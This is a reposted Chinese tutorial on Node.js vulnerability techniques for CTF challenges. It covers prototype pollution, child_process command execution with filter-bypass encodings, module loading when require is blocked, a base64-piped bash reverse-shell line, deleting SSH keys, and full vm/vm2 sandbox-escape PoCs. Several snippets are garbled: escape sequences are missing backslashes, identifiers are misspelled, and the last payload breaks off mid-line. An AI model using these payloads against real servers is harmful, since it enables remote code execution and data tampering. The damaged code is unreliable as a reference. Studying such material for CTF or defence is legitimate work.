您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

挖洞经验之nodejs 中的漏洞技巧

时间:2022-05-20 10:39:32  来源:  作者:暗网视界

零基础学黑客领资料

搜公众号:白帽子左一

关于原型链

JAVAscript中,继承的整个过程就称为该类的原型链。

每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,一直到null为止。

JavaScript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype,但只有类有对象,对象没有,对象有的是__proto__。

like:

日期时:

f -> Data.prototype -> object.prototype->null

函数时:

d -> function.prototype -> object.prototype->null

数组时:

c -> array.prototype -> object.prototype->null

类时:

b -> a.prototype -> object.prototype->null

当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined。

挖洞经验之nodejs 中的漏洞技巧

 

根据上图可知,访问f1原型的三种方式:

console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype)   #这样可以看出对象的__proto__属性,指向类的原型对象prototype

而访问到函数的方式则为:

console.log(f1.constructor.constructor)  #这样我们就获取到了Function,可以构造出匿名函数来进行命令执行了。

关于merge函数

在js当中如果存在使用merge函数或clone函数的情况下,可能会产生原型链污染。

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

merge函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下,第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上,并且它们都是Object类型,那么Merge函数将重新开始合并它。

在这里可以控制b[attr]的值,将attr设为__proto__,也可以控制b中proto属性内的值,那当递归时,a[attr]在某个点实际上将指向对象a的原型,至此通过递归我们向所有对象添加一个新属性。

需要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined


>o2.__proto__
<{b: 2}              


>console.log({}.b)
<undefined        //并未污染原型


>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined


>console.log({}.b)
<2             //成功污染

关于child_process

nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。

在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。

在Nodejs中,nodejs通过使用child_process模块来生成多个子进程来处理其他事物就包括4个异步进程函数分别为spawn,exec,execFile,fork和3个同步进程函数spawnSync,execFileSync,execSync。

关于nodejs的命令执行

对于nodejs我们尝试用require来开启子进程进行命令执行。

假设题目需要绕过一些敏感字符,如exec,所以我们有多种方法即字符串拼接或者字符串的编码转换,在nodejs当中,对于十六进制编码与unicode编码都是适应的。

所以原先的:eval=require("child_process").execSync('cat fl001g.txt')

可以转变为:eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')

或者是:eval=require("child_process")["x65x78x65x63x53x79x6ex63"]('cat fl001g.txt')

以及unicode编码:eval=require("child_process")["u0065u0078u0065u0063u0053x79x6ex63"]('cat fl001g.txt')
包括模板字符串:eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27)。

挖洞经验之nodejs 中的漏洞技巧

 

文件读取

有些时候只是为了读取文件的话,可以直接利用fs模块。

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。

挖洞经验之nodejs 中的漏洞技巧

 

并且我们可以利用fs模块来进行目录的查看:

fs.readdir(path, callback)
挖洞经验之nodejs 中的漏洞技巧

 

除此之外进行文件的写入也可以,直接写入一个js文件通过调用child_process来编写一个shell。

eval=require(%22fs%22).writeFileSync('input.txt', 'sss')

挖洞经验之nodejs 中的漏洞技巧

 

如果具有权限,完全还可以利用unlink把ssh key给删除然后在重新写入。

关于nodejs中spawn与exec的区别

异步函数spawn是最基本的创建子进程的函数,其他三个异步函数都是对spawn不同程度的封装,即exec,execfile,fork。

所以他们的区别就是spawn只能运行指定的程序,参数需要在列表中给出,而exec可以直接运行复杂的命令。

要运行du -sh /disk1命令, 使用spawn函数需要写成spawn('du', [''-sh ', '/disk1']),而使用exec函数时,可以直接写成exec('du -sh /disk1')。

当require被禁用时

我们可以使用通过global全局对象加载模块来调用子进程。

global.process.mAInModule.constructor._load('child_process').exec('ls');

利用Function进行执行:

Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();

利用setInterval进行命令执行:

setInteval(function, 2000)  #即间隔两秒

利用setTimeout进行命令执行:

setTimeout(function, 2000)  #即两秒后执行

关于反弹shell

在nodejs当中与java有些类似,反弹shell需要进行一些额外的编码解码才能够规避掉一些敏感词,例如+号

shell反弹:
code=require('child_process').exec('cmd'|base64 -d|bash');

对于vm&&vm2

vm2调用者vm的api,vm2在vm的基础上创建了一层沙箱。

在创建vm环境时,主要就是创建一个隔绝的环境,将执行代码放入隔绝的上下文当中。

挖洞经验之nodejs 中的漏洞技巧

 

在这里vm.Script(code)就是我们要执行的部分,而vm.createContext(example)是创建的隔离对象,但是example并没有被进行限制,导致能够访问原型,根据上面的图我们可以构造欻匿名函数:

const script = new vm.Script("this.constructor.constructor('return this.process.env')()");

所以,在vm当中逃逸就用到了这种创建函数的方式:

挖洞经验之nodejs 中的漏洞技巧

 

因为这个函数的是依托于main函数,所以逃脱了限制。

进一步执行命令也就是利用含函数调用child_process以及mainMoudle来进行。

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

对于vm2,vm2拦截了对 constructor 和 __proto__ 属性的访问,导致我们无法逃脱沙箱,挂载在原型下,而vm2的sadbox.js对常见的命令执行的函数进行了过滤,比如 setTimeout,setInterval 等。

通常对于vm2调用方法就简便上一些:

挖洞经验之nodejs 中的漏洞技巧

 

而这其中其实现的方式与vm是相同的。

const script = new VMScript("let test = 1;test");  (vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()");  (vm1)

 let vm = new VM()  (vm2)-->  const context = vm.createContext(sandbox) (vm1)

 vm.run(script) (vm2) -->   dir = cmd.runInContext(context)  (vm1)

对于第二步,在其中就是创建了一个沙箱环境:

1. 调用vm.createContext创建上下文context
2. 调用lib目录下的sandbox.js对其进行封装,生成一个匿名函数
3. 将这个匿名函数的this为context

导致我们无法对其造成污染:

挖洞经验之nodejs 中的漏洞技巧

 

追溯在Github当中可以发现一些绕过的方法:

Breakout in v3.6.9:https://github.com/patriksimek/vm2/issues/186

Breakout in v3.8.3:https://github.com/patriksimek/vm2/issues/225

#Breakout in v3.8.3
"use strict";
const {VM} = require('vm2');
const untRusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

这里是利用buffer.from创建一个代理抛出异常throw f=>f.constructor("return process")()被vm2内部代码给捕获,再被catch给捕获,此时由于对() => {}不正确的处理导致了沙箱的逃逸。

hackim-2019

在vm2当中,可以通过制造错误,引起外部报错,再捕获外部的报错来判断是否存在vm2。

挖洞经验之nodejs 中的漏洞技巧

 

在这里通过报错可以发现,服务器使用了vm2.

使用v3.6.9的poc:

"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

执行命令即可获取flag。

关于模板字符串利用

模板字符串(template string)是增强版的字符串,用反引号(`)标识。

它可以当作普通字符串使用,也可以用来定义多行字符串,或者在字符串中嵌入变量,而如果在模板字符串中需要使用反引号,则前面要用反斜杠转义,另外在模板字符串中嵌入变量需要将变量名卸载${}当中。

挖洞经验之nodejs 中的漏洞技巧

 

利用模板字符串,我们可以生成一种嵌套模板

`${`${`constructo`}r`}` 拼接完之后可以变为 constructor
解析的顺序就是:`${`constructor`}`--->constructor

HUFUCTF just_escape

在虎符ctf中,就出现了利用模板嵌套来进行绕过,题目用的是vm2,利用poc就可以执行命令,但是题目过滤了一些关键词,导致poc需要进行一些更改,我们十六进制以及unicode编码或者就是模板嵌套可以进行绕过。

(function (){
    TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

或者是:

(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x

作者:ophxc轩 ,原文地址:https://xz.aliyun.com/t/9167



Tags:nodejs   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
Nodejs 的 CommonJS 规范实现原理
了解 Node.js Node.js 是一个基于 ChromeV8 引擎的 JavaScript 运行环境,使用了一个事件驱动、非阻塞式 I/O 模型,让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为...【详细内容】
2023-11-24  Search: nodejs  点击:(201)  评论:(0)  加入收藏
NodeJS堆溢出的原因,及解决办法。
使用NodeJS开发的应用,如果需要处理大量数据,可能导致堆溢出。错误提示中,会有“JavaScript heap out of memory”,如下图:通过调试分析,会发现:在出错之前,其使用的内存量是一直增...【详细内容】
2022-12-11  Search: nodejs  点击:(463)  评论:(0)  加入收藏
autojs的rhino和nodejs写悬浮窗对比
第一行:rhino// 这里是空的nodejs"nodejs ui-thread";"ui"和"ui-thread"是有区别的: ui: 用于显示界面(Activity)的情况,比如启动后展示一个Web页面用于用户操作,参见UI模块的文...【详细内容】
2022-09-23  Search: nodejs  点击:(667)  评论:(0)  加入收藏
七爪源码:使用 NodeJs 观看文件系统
监视文件系统意味着监视特定目录或文件的更改。 有时您可能需要持续观察特定文件或目录的更改。出于这个原因,我们使用像 chokidar 这样的文件系统 Watcher 或内置的 NodeJs...【详细内容】
2022-09-17  Search: nodejs  点击:(481)  评论:(0)  加入收藏
理解Nodejs(V8)和Spring Webflux(Netty)——基于Event Loop设计
在过去的五个月里,我一直在我当前的项目中使用 Spring Webflux,我还编写了很多 Nodejs 应用程序,并且使用 Promise 样式编码(async/await)的方式也几乎相同,而 Webflux 使用 Mon...【详细内容】
2022-06-27  Search: nodejs  点击:(636)  评论:(0)  加入收藏
挖洞经验之nodejs 中的漏洞技巧
零基础学黑客领资料搜公众号:白帽子左一关于原型链在javascript中,继承的整个过程就称为该类的原型链。每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又...【详细内容】
2022-05-20  Search: nodejs  点击:(971)  评论:(0)  加入收藏
手写一个仿微信登录的nodejs程序
前言 首先,我们看一下微信开放文档中的一张图: 上面的一幅图中清楚地介绍了微信登录整个过程,下面对图上所示进行总结: 一、二维码的获得 用户打开登录网页后,登录网页后台根据微...【详细内容】
2022-05-06  Search: nodejs  点击:(396)  评论:(0)  加入收藏
基于NodeJS的KOA2框架实现restful API网站后台
在此前写的文章“从零基础入门进行小程序开发实战”中,已经介绍过背单词的小程序,因为没有备案的服务器资源只能使用系统后台提供的缓存功能存储用户数据。缓存有大小限制,而且...【详细内容】
2021-07-27  Search: nodejs  点击:(415)  评论:(0)  加入收藏
Nodejs读取Google Drive里面的文件
最近在工作中遇到了一个场景:要做一个静态的网站,里面的内容是由设计编写的.md格式的内容。设计将编好的文档统一放在常用的Google Drive里面,如下图 然后我需要将这些文档下载...【详细内容】
2021-06-09  Search: nodejs  点击:(604)  评论:(0)  加入收藏
nodejs版本大文件之断点下载
框架语言:nodejs 包:express fs目的通过nodejs实现一个大文件的断点下载的服务。代码由于没啥复杂的,这里直接上代码。 http断点下载是通过range来判断文件的起始位置的。其基...【详细内容】
2021-04-27  Search: nodejs  点击:(492)  评论:(0)  加入收藏
▌简易百科推荐
小心“黑客”利用445端口攻击你的Win8系统!
Windows 8系统自带一个名为SMB(Server Message Block)的服务,使用445端口进行通信。这个服务主要用于文件共享和网络协议等功能,但是无良黑客也会利用这个服务来攻击你的电脑。...【详细内容】
2024-04-10    潘小姐  Tags:445端口   点击:(18)  评论:(0)  加入收藏
为什么黑客不去攻击微信钱包?
在这个数字化时代,网络安全已经成为我们生活中不可或缺的一部分。每当我们打开手机,使用微信钱包进行支付时,是否曾有过这样的疑问:为什么黑客不去攻击微信钱包?这个问题,就像是在...【详细内容】
2024-02-19  猫探长情报局  今日头条  Tags:黑客   点击:(59)  评论:(0)  加入收藏
发条消息就能破解iPhone?苹果系统这次像被“内鬼”攻破的。。。
前几天,差评君在网上冲浪的时候,看到了一条相当震撼的消息:简单来讲,就是主打封闭安全的 iPhone ,不仅被攻击者发现了漏洞成功入侵,完全控制整个手机。更加抽象的是入侵的还是知名...【详细内容】
2024-01-26  差评    Tags:破解iPhone   点击:(143)  评论:(0)  加入收藏
十种黑客攻击手段及防御方法
在互联网的世界里,网站安全犹如一座城堡,需要严密的防线来抵御各种攻击手段。以下是10种最常见的网络攻击手段,以及我们如何采取措施来保护我们的网站。1. 跨站脚本攻击:这是黑...【详细内容】
2024-01-21  老吴讲IT    Tags:黑客攻击   点击:(88)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  五湖联技术服务公司    Tags:渗透测试   点击:(110)  评论:(0)  加入收藏
作为一名黑客/安全专家,应该掌握什么技能?熟悉哪些软件/工具?
作为一名合格的黑客/网络安全专家,应该具备一套全面的知识体系和实战技能,同时熟悉多种安全软件和工具。今天我们将根据目前市面上流行的一些应用程序,以及常规的安全防护措施,...【详细内容】
2023-12-11  黑客联盟I    Tags:黑客   点击:(144)  评论:(0)  加入收藏
黑客是如何入侵一个网站的?(网络安全人员应该了解的知识)
前不久阿里以及滴滴系统的大规模瘫痪足以唤起人们对网络安全的重视。我首先必须澄清的是,作为一个网络安全专家,我不提供或者鼓励任何违法的行为,包括未经授权的计算机系统入侵...【详细内容】
2023-12-07  黑客联盟I    Tags:黑客   点击:(179)  评论:(0)  加入收藏
网络黑客入侵解析:保护你的网络安全
在当今数字化快速发展的时代,网络安全问题逐渐成为人们关注的焦点。网络黑客入侵事件频发,给个人和企业带来了严重的威胁。本文将深入解析网络黑客入侵的常见手段和原因,并探讨...【详细内容】
2023-12-05  小记青春    Tags:黑客入侵   点击:(165)  评论:(0)  加入收藏
黑客滥用 Google 表单进行诈骗
研究人员最近发现滥用 Google 表单的垃圾邮件有所增加,攻击者首先在 Google 表单中创建新的问卷调查,并且利用受害者的电子邮件地址参与问卷调查,滥用 Google 表单的功能将垃圾...【详细内容】
2023-11-23  区块软件开发  今日头条  Tags:黑客   点击:(230)  评论:(0)  加入收藏
黑客工具 Flipper Zero 曝光,可利用蓝牙弹出窗口崩溃 iPhone
据外媒 9to5Mac 报道,一种流行且廉价的黑客设备 Flipper Zero 今年 9 月首次出现,可通过制造蓝牙弹出窗口,向 iPhone 和 iPad 重复告诉发送垃圾内容,直到相关设备最终崩溃,不过直...【详细内容】
2023-11-20  IT之家    Tags:黑客工具   点击:(242)  评论:(0)  加入收藏
站内最新
站内热门
站内头条